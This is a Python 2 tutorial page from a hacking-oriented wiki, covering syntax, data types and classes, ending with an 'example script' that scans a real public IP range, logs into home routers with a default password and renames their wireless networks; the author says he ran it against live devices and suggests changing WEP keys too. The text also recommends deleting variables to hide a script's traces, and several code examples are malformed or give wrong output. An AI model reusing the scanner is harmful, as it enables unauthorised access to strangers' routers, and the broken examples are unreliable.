Python

From Partyvan Wiki

Jump to: navigation, search


Everything in this page applies to Python 2.6 or lower. Python 3 is really different (but thankfully, they're still working on Python 2, as v2.7 is in development).

Python is an object oriented, interpreted language. It is unique in that it requires a user to indent in place of using curly brackets ({). It is used (along with php and vb) for many tools, since it is easy to use and has many features.

Most *nix distributions come with python by default. The examples on here are a bit crap, and dont cover half the cool shit you can do in Python.

Contents

First, a note about this tutorial

Any block of text with ">>>" represents the Python console. In that case, a line beginning with ">>>" represents input, and a line without it is output.

Intro

Obligatory "Hello World"

 >>> print "HELLO WORLD!"
 HELLO WORLD!

Variables

  • Variable names DO NOT need to begin with a special character, unlike PHP or Perl. Variable names CAN, however, be any combination, as long as the word isn't reserved (Ex: and, or, print), of letters and numbers. Also, variables cannot start with a number.
  • You don't need to use any kind of keyword to define a variable, unlike C or Perl (with strict on). Just assign a value to the variable, and it is automatically declared. Note that if a variable has not been declared before and you make a reference to it, an error will occur.

Some example input into the Python console

 >>> #Numbers
 >>> a = 1 #Declare A as 1
 >>> b = a+5 #b becomes 6, while a remains 1
 >>> a += 5 #a is overwritten, and becomes 6
 >>> c = b = a #c and b are overwritten and become 6
 >>> #Strings
 >>> a = "Hello "
 >>> b = "There"
 >>> c = a+b #JOIN STRINGS
 >>> a = "Blue Yellow Green Red".split(" ") #Split the string at every " "
 >>> a #Output 'a' to the screen, same as print or print()
 ['Blue', 'Yellow', 'Green', 'Red'] #List object, another type of variable
 >>> ''.join(a) #Join all the list objects as one
 'BlueYellowGreenRed'
 >>> a = 'Blue Green Yellow Red'[0:4] #This returns the sub-string 'Blue'
 >>> a = 'Blue Green Yellow Red'[5:] #This returns the sub-string 'Green Yellow Red'
 >>> a = 'a = 'Blue Green Yellow Red'[::2] #This returns the sub-string ''Bu re elwRd'
 >>> #Float 
 >>> a = 88.2
 >>> b = 88
 >>> print a/25
 3.528
 >>> print b/25
 3
 >>> #Other types of data. We'll talk about some of the common data types later.
 >>> a = (" ", 355, 256.7, ["Hello", "World"]) #A tuple.
 >>> type(a)
 <type 'tuple'>
 >>> a = {"Hello":"World", "Key":"Value"} #A dictionary.
 >>> type(a)
 <type 'dict'>
 >>> a = "Anhero"
 >>> del a #Its a good idea, if you're making a 'hidden' script, to delete variables after you use them...

Operators

Comparison

  • < Less than (2 < 4)
  • > Greater than (4 > 2)
  • == Equal to (5 == 5)
  • != Not equal (6 != 7)
  • <> Not Equal (9 <> 12)
  • <= Less than or equal to (4 <= 4)
  • >= Greater than or equal to (5 >= 3)

Arithmetic

  • + Add (x + y)
  • - Subtract (x - y)
  • * Multiply (x * y)
  • / Divide (x / y)
  • % Modulus [Remainder] (x % y)
  • ** Exponent (x ** y)
  • // Floor Divide [Divide and Round] (x // y)

Assignment

  • = Assign (x = 2)
  • += Add and Assign (x += 5)
  • -= Subtract and Assign (x -= 4)
  • *= Multiply and Assign (x *= 8)
  • /= Divide and Assign (x /= 0) OSHIIIIIIIIIIT!!!
  • %= Modulus and Assign (x %= 6)
  • **= Exponent and Assign (x **= 7)
  • //= Floor Divide and Assign (x //= 3)

Bitwise

x = 60 (00111100), y = 13 (00001101)

  • & AND (x & y == 00001100) [12]
  • | OR (x | y == 00111101) [61]
  • ^ XOR (x ^ y == 00110001) [49]
  • ~ Flip Bits (~y == 11110010) [-13]
  • << Left Shift (x << 2 == 11110000) [240]
  • >> Right Shift (x >> 2 == 10000110) [15]

Logical

  • and AND (2 == 2 and 5 < 6) is true
  • or OR (9 != 7 or 3 <= 8) is true
  • not NOT (not(4 == 4)) is false

Other/uncategorized

  • a = [3, 4, 8, 1]
  • in Check for existence in a sequence (4 in a)
  • not in Check for non-existence in a sequence (7 not in a)

Conditionals

 
 >>> a = 1
 >>> b = 2
 >>> if a != b:
 	print "No!"
 
 
 No!
 >>> a = 1
 >>> b = 1
 >>> if a != b:
 	print "No!"
 >>> elif a == b:
 	print "Yes!"
 
 
 >>> a = 2
 >>> b = 3:
 >>> if a == b:
 	print "Yes!"
 >>> else:
 	print "No!"
 
 
 No!
 >>> a = 1
 >>> b = 5
 >>> if (a == b-len("....")/1) and "a" == "a" or "b" == "b":
 	print "Yes!"
 
 
 Yes!

Loops

While

 >>> a = 1
 >>> while a < 5: #Note, replacing '<' with '<=' allows it to reach 5, instead of stopping at 4
 	print a
 	a += 1;
 
 
 1
 2
 3
 4
 >>> a = False;
 >>> while a == False:
 	print "False"
 	a = True;
 
 
 False

For

>>> for x in range(0, 10):
 	print x
 
 
 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
 >>> for x in ['Hello', 'world', ',this', 'is', 'a', 'list']:
 	print x
 
 
 Hello
 world
 ,this
 is
 a
 list

Data types

Numbers

As far as numbers go in Python, there are two main types: int (integer) and float (floating-point number, aka one with a decimal point). Python automatically knows what kind of number you're defining when you define it, so don't worry about having to explicitly define anything.

Strings

Python supports strings in both single and double quotes. Both types support escape sequences.

Escape sequences

An escape sequence is a little code that you can use to put characters in a string that would normally cause an error and/or are just plain impossible to put in a string. Some real common examples include:

  • \n - Newline
  • \r - Carriage Return
  • \" - Double quote
  • \' - Single quote
  • \\ - Backslash
  • \xhh - ASCII character with hexadecimal code hh

Lists

A list is a type of sequence, meaning it can hold a series of data. Items in a list can be of different types, making lists very versatile. As with most languages, list indices start at 0.

List items are separated by commas, and are enclosed in brackets, like the following example:

a = [1, 'abcde', 20.5]

And when you want to access an individual item in a list, you type the list name, then the index number in square brackets. You can use this to either look up a piece of data or modify it. Remember that indices start at 0, so the first item is 0, second is 1, and so on. Here's an example involving our previously defined list:

>>> a[1]
'abcde'
>>> a[2] = 99.9

If you want to make an empty list, either one of the following is acceptable:

>>> imemptylol = []
>>> imemptylol = list()

Tuples

Python also has another data type called a tuple. Being a type of sequence, tuples can contain multiple pieces of data, but unlike lists, they are immutable, meaning that you can't individually modify an item in it. So basically, they're used to hold data that will not be modified. They can be useful for things like loading configuration.

Like lists, items in a tuple are separated by commas. However, they are not enclosed in brackets. Instead, you can, but do not have to, enclose them in parentheses. The following both are both valid:

>>> t = 1, 'abcde', 20.5
>>> t = (1, 'abcde', 20.5)

Also, just as with lists, you can access something by mentioning the tuple's name, then the index number in square brackets.

To make an empty tuple for whatever reason, use a pair of parentheses. To make a tuple with only one item, put the value, then a comma. Here's some examples to clarify:

>>> nothinhere = ()
>>> ronery = 'dsfdsgds',

Sequence unpacking

Here's something neat: Notice how you create a tuple? The same thing can be done in reverse. This is what Python calls sequence unpacking:

>>> lolint, lolstring, lolfloat = t

Basically, what just happened here was this:

  • The first value in t, 1, was assigned to the variable lolint.
  • The second value, 'abcde', was assigned to lolstring.
  • The third value, 20.5, was assigned to lolfloat.

Oh, and this not only applies to tuples, but other sequences, like lists. But in order for it to work properly, the amount of variables on the left side of the equal sign has to match the amount of elements in the sequence on the right.

Dictionaries

Here's another sequence that you might find useful: the dictionary. If you know about associative arrays in other languages, like maps in PHP or hashes in Perl, then this should all look familiar.

Simply put, a dictionary is an unordered set of key: value pairs. All the keys in the dictionary must be unique. To make a dictionary, you put a comma separated list of key: value pairs in curly braces, like this:

>>> d = {'abcde': 32524,'lol spaces': 'lololol'}

To access something in a dictionary, you put its name, and then its key in square brackets, like so:

>>> d['abcde']
32524

Dictionaries are really flexible: you can define new keys anytime you want. It's just like defining a variable:

>>> d['im a new key'] = 'hhhhhhh'
>>> d
{'abcde': 32524, 'lol spaces': 'lololol', 'im a new key': 'hhhhhhh'}

Deletion

Since we're on the subject of data, here's something you might want to use to help save space: del. As its name suggests, it deletes whatever is after the keyword. You can use this to delete variables, items in a list or dictionary, and a whole bunch of other stuff. Here's some examples using del:

>>> del v # You can use this to delete variables.
>>> del a[2] # You can also use it to delete items in a sequence, provided the sequence is mutable.
>>> del d['abcde'] # It also works for dictionaries.

Deletion is used mainly to save memory, but can also be used to cover your tracks if you're making a "hidden" script.

Classes

Since python is object oriented, you can define classes.

The Keyword for defining clases is 'class', and if you want to derive your class from another one, put it into parentheses after the class name. The definition is closed by the notorious colon, followed by the notorious indented block.

What's notable about Python is that every datatype is a class, even the simple ones.

Constructors/Destructors

Constructors are made by defining a method with the name '__init__'. They are called as soon as the object is created, so it's best to define all your members there.

Destructors are alike, just '__del__' instead of '__init__'. Since Python has automatic memory management and a garbage collector, it cannot be assured that the destructor is called instantly at the classes' end of life. So don't rely on code you put in a destructor too heavily, or even better try to avoid using one.

 class TheGame:
     def __init__(self):
         print 'You just lost it!'
     def __del__(self):
         print 'If this method gets called, you won THE GAME!'

Creating an instance

Creating an instance of a Python class works as in most object-oriented languages:

myObject = MyClass()

Members

A member is basically a variable in a class. Define them inside the constructor (__init__). A member can be anything: a numerical value, a string, a list, a dictionary, or even another class.

Methods

A method is a function inside a class. Python methods work like so:

class fgsfds:
    def __init__(self):
        self.lolnumber = 34
        self.lolstring = "klghjkghjlhjk"
    def dostuff(self):
        self.lolstring = "dsfargeg"
    def saystuff(self,whattosay):
        print whattosay
hhhh = fgsfds()
hhhh.saystuff("loldongs")

As you can see, you have to have self at the beginning of each method's list of arguments. Then, if you want to have your own arguments passed to it, you put them after self. But when you call a method in a class, you don't include self.

Inheritance

Inheritance is a feature in many (if not all) object-oriented languages. When a class (the derived class) inherits from another class (the base class), all the methods in the base class are automatically defined in the derived class. However, members are not.

Example script

This script scans a whole IP range to find vulnerable routers. It then attempts to log in with the default username and password, and if successfull it then changes their SSID (Wireless name) to "BADSECURITY".

It could easily be modified to do other things, like alter the WEP key etc. However I didn't want to try that. It wont find that many anymore, because most will have changed their username and passwords after I ran it a couple of times.

import socket
import thread
import urllib2
import urllib
import os
import Queue
import time
import random
 
# Settings:
username = 'admin'
password = 'cableroot'
_IDENT_ = 'BADSECURITY'
_LOCK_ = thread.allocate_lock()
 
change = False
 
# Setup:
socket.setdefaulttimeout(2)
input_q = Queue.Queue()
 
_t1 = time.time()
count = 0
for x in range(255):
    for y in range(255):
        input_q.put('http://24.59.%s.%s:64680'%(x,y))
        count+=1
_t2 = time.time()
print "Generated list of %s IP's in %s seconds"%(str(count),str(_t2-_t1))
#input_q.put('http://24.59.0.178:64680')
 
print 'Added all the commands to our Queue'
print 'Scanning for router addresses'
 
def _random(x):
    string = ''
    for i in xrange(x):
        string+=str(random.choice(range(x)))
    return string
 
def checker_func(q):
    while True:
        global change
        url = q.get()
        try:
            # Build our HTTP auth stuff
            manager = urllib2.HTTPPasswordMgrWithDefaultRealm()
            manager.add_password(None,url,username,password)
            auth = urllib2.HTTPBasicAuthHandler(manager)
            opener = urllib2.build_opener(auth)
            try:
                page = opener.open(url+'/login.html')
            except:
                continue         
            print 'Possible found @ %s'%url
            if change:
                a = opener.open(url+'/goform/wlanBasic',urllib.urlencode(
                        {'ServiceSetIdentifier':_IDENT_+_random(3),
                         'ClosedNetwork':'0x01',
                         'Country':'6',
                         'ChannelNumber':'1',
                         'WirelessEnable':'1',
                         'restoreWirelessDefaults':'0',
                         'commitwlanBasic':'1'}))
                print 'Completed %s'%url
            _LOCK_.acquire_lock()
            _f = open('hosts_2.txt','a+')
            _f.write(url+'\n')
            _f.close()
            _LOCK_.release()
        except (urllib2.HTTPError,urllib2.URLError):
            pass
 
 
 
for i in xrange(20):
    thread.start_new_thread(checker_func,(input_q,))
 
raw_input()

Modules

The main list of Python modules can be found here. The following are modules that can be installed in Python and used accordingly (if you're going to add something here, provide a link!).

Scapy

Scapy is a powerful, low-level, networking tool

DPKT

fast, simple packet creation / parsing, with definitions for the basic TCP/IP protocols.

See also

Personal tools
Invasion Boards